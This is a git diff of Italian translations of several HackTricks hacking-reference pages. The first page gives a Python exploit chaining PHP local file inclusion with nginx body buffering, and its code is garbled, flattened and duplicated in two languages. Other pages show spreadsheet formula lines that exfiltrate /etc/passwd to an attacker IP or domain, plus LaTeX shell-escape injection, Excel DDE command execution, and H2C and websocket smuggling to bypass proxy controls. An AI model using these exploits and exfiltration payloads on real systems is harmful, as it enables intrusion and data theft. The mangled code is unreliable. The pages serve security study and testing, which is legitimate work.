[**WhiteIntel**](https://whiteintel.io) è un motore di ricerca alimentato dal **dark-web** che offre funzionalità **gratuite** per controllare se un'azienda o i suoi clienti sono stati **compromessi** da **malware rubatori**.
|
||||
|
||||
Il loro obiettivo principale di WhiteIntel è combattere il furto di account e gli attacchi ransomware derivanti da malware che rubano informazioni.
|
||||
|
||||
Puoi controllare il loro sito web e provare il loro motore **gratuitamente** su:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Configurazione vulnerabile
|
||||
|
||||
[**Esempio da https://bierbaumer.net/security/php-lfi-with-nginx-assistance/**](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)
|
||||
|
||||
* Codice PHP:
|
||||
```php
|
||||
|
||||
\`\`\`\`h\`
|
||||
/dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:56 1 -> /dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:49 10 -> anon\_inode:\[eventfd] lrwx------ 1 www-data www-data 64 Dec 25 23:49 11 -> socket:\[27587] lrwx------ 1 www-data www-data 64 Dec 25 23:49 12 -> socket:\[27589] lrwx------ 1 www-data www-data 64 Dec 25 23:56 13 -> socket:\[44926] lrwx------ 1 www-data www-data 64 Dec 25 23:57 14 -> socket:\[44927] lrwx------ 1 www-data www-data 64 Dec 25 23:58 15 -> /var/lib/nginx/body/0000001368 (deleted) ... \`\`\` Note: One cannot directly include \`/proc/34/fd/15\` in this example as PHP's \`include\` function would resolve the path to \`/var/lib/nginx/body/0000001368 (deleted)\` which doesn't exist in in the filesystem. This minor restriction can luckily be bypassed by some indirection like: \`/proc/self/fd/34/../../../34/fd/15\` which will finally execute the content of the deleted \`/var/lib/nginx/body/0000001368\` file. ## Full Exploit \`\`\`python #!/usr/bin/env python3 import sys, threading, requests # exploit PHP local file inclusion (LFI) via nginx's client body buffering assistance # see https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ for details URL = f'http://{sys.argv\[1]}:{sys.argv\[2]}/' # find nginx worker processes r = requests.get(URL, params={ 'file': '/proc/cpuinfo' }) cpus = r.text.count('processor') r = requests.get(URL, params={ 'file': '/proc/sys/kernel/pid\_max' }) pid\_max = int(r.text) print(f'\[\*] cpus: {cpus}; pid\_max: {pid\_max}') nginx\_workers = \[] for pid in range(pid\_max): r = requests.get(URL, params={ 'file': f'/proc/{pid}/cmdline' }) if b'nginx: worker process' in r.content: print(f'\[\*] nginx worker found: {pid}') nginx\_workers.append(pid) if len(nginx\_workers) >= cpus: break done = False # upload a big client body to force nginx to create a /var/lib/nginx/body/$X def uploader(): print('\[+] starting uploader') while not done: requests.get(URL, data=' //'
|
||||
|
||||
/dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:56 1 -> /dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:49 10 -> anon\_inode:\[eventfd] lrwx------ 1 www-data www-data 64 Dec 25 23:49 11 -> socket:\[27587] lrwx------ 1 www-data www-data 64 Dec 25 23:49 12 -> socket:\[27589] lrwx------ 1 www-data www-data 64 Dec 25 23:56 13 -> socket:\[44926] lrwx------ 1 www-data www-data 64 Dec 25 23:57 14 -> socket:\[44927] lrwx------ 1 www-data www-data 64 Dec 25 23:58 15 -> /var/lib/nginx/body/0000001368 (eliminato) ... \`\`\` Nota: Non si può includere direttamente \`/proc/34/fd/15\` in questo esempio poiché la funzione \`include\` di PHP risolverebbe il percorso in \`/var/lib/nginx/body/0000001368 (eliminato)\` che non esiste nel filesystem. Questa piccola restrizione può fortunatamente essere aggirata da qualche indirectione come: \`/proc/self/fd/34/../../../34/fd/15\` che eseguirà infine il contenuto del file eliminato \`/var/lib/nginx/body/0000001368\`. ## Exploit Completo \`\`\`python #!/usr/bin/env python3 import sys, threading, requests # sfrutta l'inclusione di file locale PHP (LFI) tramite l'assistenza al buffering del corpo del client di nginx # vedi https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ per dettagli URL = f'http://{sys.argv\[1]}:{sys.argv\[2]}/' # trova i processi worker di nginx r = requests.get(URL, params={ 'file': '/proc/cpuinfo' }) cpus = r.text.count('processor') r = requests.get(URL, params={ 'file': '/proc/sys/kernel/pid\_max' }) pid\_max = int(r.text) print(f'\[\*] cpus: {cpus}; pid\_max: {pid\_max}') nginx\_workers = \[] for pid in range(pid\_max): r = requests.get(URL, params={ 'file': f'/proc/{pid}/cmdline' }) if b'nginx: worker process' in r.content: print(f'\[\*] worker nginx trovato: {pid}') nginx\_workers.append(pid) if len(nginx\_workers) >= cpus: break done = False # carica un grande corpo client per forzare nginx a creare un /var/lib/nginx/body/$X def uploader(): print('\[+] avvio uploader') while not done: requests.get(URL, data=' //'
|
||||
```
|
||||
```markdown
|
||||
requests_session.post(SERVER + "/?action=read&file=/bla", data=(payload + ("a" * (body_size - len(payload)))))
|
||||
except:
|
||||
pass
|
||||
```
|
||||
```python
|
||||
def send_payload_worker(requests_session):
|
||||
while True:
|
||||
send_payload(requests_session)
|
||||
|
||||
def send_payload_multiprocess(requests_session):
|
||||
# Usa tutte le CPU per inviare il payload come corpo della richiesta per Nginx
|
||||
for _ in range(multiprocessing.cpu_count()):
|
||||
p = multiprocessing.Process(target=send_payload_worker, args=(requests_session,))
|
||||
p.start()
|
||||
|
||||
def generate_random_path_prefix(nginx_pids):
|
||||
# Questo metodo crea un percorso da un numero casuale di componenti del percorso ProcFS.
|
||||
# Un percorso generato apparirà come /proc/<nginx pid 1>/cwd/proc/<nginx pid 2>/root/proc/<nginx pid 3>/root
|
||||
path = ""
|
||||
component_num = random.randint(0, 10)
|
||||
for _ in range(component_num):
|
||||
pid = random.choice(nginx_pids)
|
||||
if random.randint(0, 1) == 0:
|
||||
path += f"/proc/{pid}/cwd"
|
||||
else:
|
||||
path += f"/proc/{pid}/root"
|
||||
return path
|
||||
|
||||
def read_file(requests_session, nginx_pid, fd, nginx_pids):
|
||||
nginx_pid_list = list(nginx_pids)
|
||||
while True:
|
||||
path = generate_random_path_prefix(nginx_pid_list)
|
||||
path += f"/proc/{nginx_pid}/fd/{fd}"
|
||||
try:
|
||||
d = requests_session.get(SERVER + f"/?action=include&file={path}").text
|
||||
except:
|
||||
continue
|
||||
# I flag sono formattati come hxp{}
|
||||
if "hxp" in d:
|
||||
print("Flag trovata! ")
|
||||
print(d)
|
||||
|
||||
def read_file_worker(requests_session, nginx_pid, nginx_pids):
|
||||
# Scansiona i FD di Nginx tra 10 - 45 in un ciclo.
|
||||
# Poiché i file e i socket continuano a chiudersi - è molto comune che il FD del corpo della richiesta si apra all'interno di questo intervallo
|
||||
for fd in range(10, 45):
|
||||
thread = threading.Thread(target=read_file, args=(requests_session, nginx_pid, fd, nginx_pids))
|
||||
thread.start()
|
||||
|
||||
def read_file_multiprocess(requests_session, nginx_pids):
|
||||
for nginx_pid in nginx_pids:
|
||||
p = multiprocessing.Process(target=read_file_worker, args=(requests_session, nginx_pid, nginx_pids))
|
||||
p.start()
|
||||
|
||||
if __name__ == "__main__":
|
||||
print('\[DEBUG] Creazione della sessione di richieste')
|
||||
requests_session = create_requests_session()
|
||||
print('\[DEBUG] Ottenimento dei pid di Nginx')
|
||||
nginx_pids = get_nginx_pids(requests_session)
|
||||
print(f'\[DEBUG] Pid di Nginx: {nginx_pids}')
|
||||
print('\[DEBUG] Inizio dell\'invio del payload')
|
||||
send_payload_multiprocess(requests_session)
|
||||
print('\[DEBUG] Inizio dei lettori di fd')
|
||||
read_file_multiprocess(requests_session, nginx_pids)
|
||||
```
|
||||
```
|
||||
|
||||
def send\_payload\_worker(requests\_session): while True: send\_payload(requests\_session)
|
||||
|
||||
def send\_payload\_multiprocess(requests\_session): # Use all CPUs to send the payload as request body for Nginx for \_ in range(multiprocessing.cpu\_count()): p = multiprocessing.Process(target=send\_payload\_worker, args=(requests\_session,)) p.start()
|
||||
|
||||
def generate\_random\_path\_prefix(nginx\_pids): # This method creates a path from random amount of ProcFS path components. A generated path will look like /proc/\<nginx pid 1>/cwd/proc/\<nginx pid 2>/root/proc/\<nginx pid 3>/root path = "" component\_num = random.randint(0, 10) for \_ in range(component\_num): pid = random.choice(nginx\_pids) if random.randint(0, 1) == 0: path += f"/proc/{pid}/cwd" else: path += f"/proc/{pid}/root" return path
|
||||
|
||||
def read\_file(requests\_session, nginx\_pid, fd, nginx\_pids): nginx\_pid\_list = list(nginx\_pids) while True: path = generate\_random\_path\_prefix(nginx\_pid\_list) path += f"/proc/{nginx\_pid}/fd/{fd}" try: d = requests\_session.get(SERVER + f"/?action=include\&file={path}").text except: continue # Flags are formatted as hxp{} if "hxp" in d: print("Found flag! ") print(d)
|
||||
|
||||
def read\_file\_worker(requests\_session, nginx\_pid, nginx\_pids): # Scan Nginx FDs between 10 - 45 in a loop. Since files and sockets keep closing - it's very common for the request body FD to open within this range for fd in range(10, 45): thread = threading.Thread(target = read\_file, args = (requests\_session, nginx\_pid, fd, nginx\_pids)) thread.start()
|
||||
|
||||
def read\_file\_multiprocess(requests\_session, nginx\_pids): for nginx\_pid in nginx\_pids: p = multiprocessing.Process(target=read\_file\_worker, args=(requests\_session, nginx\_pid, nginx\_pids)) p.start()
|
||||
|
||||
if **name** == "**main**": print('\[DEBUG] Creating requests session') requests\_session = create\_requests\_session() print('\[DEBUG] Getting Nginx pids') nginx\_pids = get\_nginx\_pids(requests\_session) print(f'\[DEBUG] Nginx pids: {nginx\_pids}') print('\[DEBUG] Starting payload sending') send\_payload\_multiprocess(requests\_session) print('\[DEBUG] Starting fd readers') read\_file\_multiprocess(requests\_session, nginx\_pids)
|
||||
|
||||
```
|
||||
## Labs
|
||||
|
||||
* [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz)
|
||||
|
@ -116,31 +57,20 @@ if __name__ == "__main__":
|
|||
|
||||
* [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) is a **dark-web** fueled search engine that offers **free** functionalities to check if a company or its customers have been **compromised** by **stealer malwares**.
|
||||
|
||||
Their primary goal of WhiteIntel is to combat account takeovers and ransomware attacks resulting from information-stealing malware.
|
||||
|
||||
You can check their website and try their engine for **free** at:
|
||||
|
||||
<div data-gb-custom-block data-tag="embed" data-url='https://whiteintel.io'></div>
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>Supporta HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
```
|
||||
|
||||
|
|
|
@ -15,14 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Formula Injection
|
||||
|
||||
### Info
|
||||
|
@ -67,7 +59,7 @@ Immagina una violazione della sicurezza in un sistema di gestione dei registri d
|
|||
|
||||
**Controlla il** [**post originale**](https://notsosecure.com/data-exfiltration-formula-injection-part1) **per ulteriori dettagli.**
|
||||
|
||||
In configurazioni specifiche o versioni più vecchie di Excel, una funzionalità chiamata Dynamic Data Exchange (DDE) può essere sfruttata per eseguire comandi arbitrari. Per sfruttare questo, devono essere attivate le seguenti impostazioni:
|
||||
In configurazioni specifiche o versioni più vecchie di Excel, una funzionalità chiamata Dynamic Data Exchange (DDE) può essere sfruttata per eseguire comandi arbitrari. Per sfruttare questo, le seguenti impostazioni devono essere abilitate:
|
||||
|
||||
* Naviga su File → Opzioni → Centro di protezione → Impostazioni del centro di protezione → Contenuto esterno, e abilita **Avvio del server Dynamic Data Exchange**.
|
||||
|
||||
|
@ -86,7 +78,7 @@ LibreOffice Calc può essere utilizzato per leggere file locali ed esfiltrare da
|
|||
* Leggere la prima riga dal file locale `/etc/passwd`: `='file:///etc/passwd'#$passwd.A1`
|
||||
* Esfiltrare i dati letti a un server controllato dall'attaccante: `=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)))`
|
||||
* Esfiltrare più di una riga: `=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))`
|
||||
* Esfiltrazione DNS (inviare i dati letti come query DNS a un server DNS controllato dall'attaccante): `=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<attacker domain>"))`
|
||||
* Esfiltrazione DNS (inviare dati letti come query DNS a un server DNS controllato dall'attaccante): `=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<attacker domain>"))`
|
||||
|
||||
### Google Sheets for Out-of-Band (OOB) Data Exfiltration
|
||||
|
||||
|
@ -101,7 +93,7 @@ Google Sheets offre funzioni che possono essere sfruttate per l'esfiltrazione di
|
|||
|
||||
## LaTeX Injection
|
||||
|
||||
Di solito i server che si trovano su internet che **convertono codice LaTeX in PDF** utilizzano **`pdflatex`**.\
|
||||
Di solito, i server che si trovano su Internet che **convertono codice LaTeX in PDF** utilizzano **`pdflatex`**.\
|
||||
Questo programma utilizza 3 attributi principali per (dis)abilitare l'esecuzione di comandi:
|
||||
|
||||
* **`--no-shell-escape`**: **Disabilita** il costrutto `\write18{command}`, anche se è abilitato nel file texmf.cnf.
|
||||
|
@ -198,15 +190,10 @@ Da [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130)
|
|||
* [https://salmonsec.com/cheatsheet/latex\_injection](https://salmonsec.com/cheatsheet/latex\_injection)
|
||||
* [https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/](https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -214,7 +201,7 @@ Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,27 +15,19 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
### H2C Smuggling <a href="#http2-over-cleartext-h2c" id="http2-over-cleartext-h2c"></a>
|
||||
|
||||
#### HTTP2 Over Cleartext (H2C) <a href="#http2-over-cleartext-h2c" id="http2-over-cleartext-h2c"></a>
|
||||
|
||||
H2C, o **http2 over cleartext**, si discosta dalla norma delle connessioni HTTP transitorie aggiornando una standard **connessione HTTP a una persistente**. Questa connessione aggiornata utilizza il protocollo binario http2 per la comunicazione continua, a differenza della natura a singola richiesta dell'HTTP in chiaro.
|
||||
H2C, o **http2 over cleartext**, si discosta dalla norma delle connessioni HTTP transitorie aggiornando una **connessione HTTP standard a una persistente**. Questa connessione aggiornata utilizza il protocollo binario http2 per la comunicazione continua, a differenza della natura a singola richiesta dell'HTTP in chiaro.
|
||||
|
||||
Il nocciolo del problema di smuggling sorge con l'uso di un **reverse proxy**. Ordinarimente, il reverse proxy elabora e inoltra le richieste HTTP al backend, restituendo la risposta del backend dopo. Tuttavia, quando l'intestazione `Connection: Upgrade` è presente in una richiesta HTTP (comunemente vista con le connessioni websocket), il **proxy reverse mantiene una connessione persistente** tra client e server, facilitando lo scambio continuo richiesto da alcuni protocolli. Per le connessioni H2C, l'aderenza all'RFC richiede la presenza di tre intestazioni specifiche:
|
||||
Il nocciolo del problema di smuggling sorge con l'uso di un **reverse proxy**. Di norma, il reverse proxy elabora e inoltra le richieste HTTP al backend, restituendo la risposta del backend dopo. Tuttavia, quando l'intestazione `Connection: Upgrade` è presente in una richiesta HTTP (comunemente vista con le connessioni websocket), il **proxy reverse mantiene una connessione persistente** tra client e server, facilitando lo scambio continuo richiesto da alcuni protocolli. Per le connessioni H2C, l'aderenza all'RFC richiede la presenza di tre intestazioni specifiche:
|
||||
```
|
||||
Upgrade: h2c
|
||||
HTTP2-Settings: AAMAAABkAARAAAAAAAIAAAAA
|
||||
Connection: Upgrade, HTTP2-Settings
|
||||
```
|
||||
La vulnerabilità sorge quando, dopo aver aggiornato una connessione, il reverse proxy smette di gestire le singole richieste, assumendo che il suo compito di instradamento sia completato dopo l'instaurazione della connessione. Sfruttare H2C Smuggling consente di eludere le regole del reverse proxy applicate durante l'elaborazione delle richieste, come l'instradamento basato su percorso, l'autenticazione e l'elaborazione WAF, assumendo che una connessione H2C sia stata avviata con successo.
|
||||
La vulnerabilità sorge quando, dopo aver aggiornato una connessione, il reverse proxy smette di gestire le singole richieste, assumendo che il suo compito di instradamento sia completato dopo l'instaurazione della connessione. Sfruttare H2C Smuggling consente di eludere le regole del reverse proxy applicate durante l'elaborazione delle richieste, come l'instradamento basato su percorso, l'autenticazione e l'elaborazione WAF, assumendo che una connessione H2C venga avviata con successo.
|
||||
|
||||
#### Proxy Vulnerabili <a href="#exploitation" id="exploitation"></a>
|
||||
|
||||
|
@ -61,7 +53,7 @@ Al contrario, questi servizi non inoltrano intrinsecamente entrambi gli header d
|
|||
È fondamentale notare che non tutti i server inoltrano intrinsecamente gli header richiesti per un aggiornamento della connessione H2C conforme. Pertanto, server come AWS ALB/CLB, NGINX e Apache Traffic Server, tra gli altri, bloccano naturalmente le connessioni H2C. Tuttavia, vale la pena testare la variante non conforme `Connection: Upgrade`, che esclude il valore `HTTP2-Settings` dall'header `Connection`, poiché alcuni backend potrebbero non conformarsi agli standard.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Indipendentemente dal **percorso** specifico designato nell'URL `proxy_pass` (ad es., `http://backend:9999/socket.io`), la connessione stabilita predefinisce `http://backend:9999`. Questo consente di interagire con qualsiasi percorso all'interno di quel punto finale interno, sfruttando questa tecnica. Di conseguenza, la specifica di un percorso nell'URL `proxy_pass` non limita l'accesso.
|
||||
Indipendentemente dal **percorso** specifico designato nell'URL `proxy_pass` (ad es., `http://backend:9999/socket.io`), la connessione stabilita predefinisce a `http://backend:9999`. Questo consente di interagire con qualsiasi percorso all'interno di quel punto finale interno, sfruttando questa tecnica. Di conseguenza, la specifica di un percorso nell'URL `proxy_pass` non limita l'accesso.
|
||||
{% endhint %}
|
||||
|
||||
Gli strumenti [**h2csmuggler di BishopFox**](https://github.com/BishopFox/h2csmuggler) e [**h2csmuggler di assetnote**](https://github.com/assetnote/h2csmuggler) facilitano i tentativi di **eludere le protezioni imposte dal proxy** stabilendo una connessione H2C, consentendo così l'accesso a risorse protette dal proxy.
|
||||
|
@ -70,14 +62,14 @@ Per ulteriori informazioni su questa vulnerabilità, in particolare riguardo a N
|
|||
|
||||
## Websocket Smuggling
|
||||
|
||||
Il websocket smuggling, a differenza della creazione di un tunnel HTTP2 verso un endpoint accessibile tramite un proxy, stabilisce un tunnel Websocket per bypassare potenziali limitazioni del proxy e facilitare la comunicazione diretta con l'endpoint.
|
||||
Il websocket smuggling, a differenza della creazione di un tunnel HTTP2 verso un endpoint accessibile tramite un proxy, stabilisce un tunnel Websocket per bypassare le potenziali limitazioni del proxy e facilitare la comunicazione diretta con l'endpoint.
|
||||
|
||||
### Scenario 1
|
||||
|
||||
In questo scenario, un backend che offre un'API WebSocket pubblica insieme a un'API REST interna non accessibile è preso di mira da un client malevolo che cerca accesso all'API REST interna. L'attacco si svolge in diversi passaggi:
|
||||
In questo scenario, un backend che offre un'API WebSocket pubblica insieme a un'API REST interna non accessibile è preso di mira da un client malevolo che cerca di accedere all'API REST interna. L'attacco si svolge in diversi passaggi:
|
||||
|
||||
1. Il client inizia inviando una richiesta di Upgrade al reverse proxy con una versione del protocollo `Sec-WebSocket-Version` errata nell'header. Il proxy, non riuscendo a convalidare l'header `Sec-WebSocket-Version`, crede che la richiesta di Upgrade sia valida e la inoltra al backend.
|
||||
2. Il backend risponde con un codice di stato `426`, indicando la versione del protocollo errata nell'header `Sec-WebSocket-Version`. Il reverse proxy, trascurando lo stato di risposta del backend, presume di essere pronto per la comunicazione WebSocket e inoltra la risposta al client.
|
||||
2. Il backend risponde con un codice di stato `426`, indicando la versione del protocollo errata nell'header `Sec-WebSocket-Version`. Il reverse proxy, trascurando lo stato di risposta del backend, assume di essere pronto per la comunicazione WebSocket e inoltra la risposta al client.
|
||||
3. Di conseguenza, il reverse proxy è fuorviato nel credere che sia stata stabilita una connessione WebSocket tra il client e il backend, mentre in realtà il backend aveva rifiutato la richiesta di Upgrade. Nonostante ciò, il proxy mantiene una connessione TCP o TLS aperta tra il client e il backend, consentendo al client di accedere senza restrizioni all'API REST privata tramite questa connessione.
|
||||
|
||||
I reverse proxy interessati includono Varnish, che ha rifiutato di affrontare il problema, e la versione 1.8.0 o precedente del proxy Envoy, con versioni successive che hanno modificato il meccanismo di aggiornamento. Altri proxy potrebbero essere suscettibili.
|
||||
|
@ -112,15 +104,9 @@ Controlla i laboratori per testare entrambi gli scenari in [https://github.com/0
|
|||
* [https://github.com/0ang3el/websocket-smuggle.git](https://github.com/0ang3el/websocket-smuggle.git)
|
||||
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -15,13 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Cookie Attributes
|
||||
|
||||
|
@ -33,7 +26,7 @@ La data di scadenza di un cookie è determinata dall'attributo `Expires`. Al con
|
|||
|
||||
### Domain
|
||||
|
||||
I host che ricevono un cookie sono specificati dall'attributo `Domain`. Per impostazione predefinita, questo è impostato sull'host che ha emesso il cookie, senza includere i suoi sottodomini. Tuttavia, quando l'attributo `Domain` è esplicitamente impostato, comprende anche i sottodomini. Questo rende la specifica dell'attributo `Domain` un'opzione meno restrittiva, utile per scenari in cui è necessario condividere i cookie tra sottodomini. Ad esempio, impostare `Domain=mozilla.org` rende i cookie accessibili sui suoi sottodomini come `developer.mozilla.org`.
|
||||
I host che ricevono un cookie sono specificati dall'attributo `Domain`. Per impostazione predefinita, questo è impostato sull'host che ha emesso il cookie, senza includere i suoi sottodomini. Tuttavia, quando l'attributo `Domain` è esplicitamente impostato, comprende anche i sottodomini. Questo rende la specifica dell'attributo `Domain` un'opzione meno restrittiva, utile per scenari in cui è necessario condividere i cookie tra sottodomini. Ad esempio, impostando `Domain=mozilla.org`, i cookie diventano accessibili sui suoi sottodomini come `developer.mozilla.org`.
|
||||
|
||||
### Path
|
||||
|
||||
|
@ -66,23 +59,23 @@ Ricorda, mentre configuri i cookie, comprendere questi attributi può aiutare a
|
|||
| Image | \<img src="..."> | NetSet\*, None |
|
||||
|
||||
Tabella da [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) e leggermente modificata.\
|
||||
Un cookie con _**SameSite**_ attributo **mitigherà gli attacchi CSRF** in cui è necessaria una sessione autenticata.
|
||||
Un cookie con l'attributo _**SameSite**_ **mitigherà gli attacchi CSRF** in cui è necessaria una sessione autenticata.
|
||||
|
||||
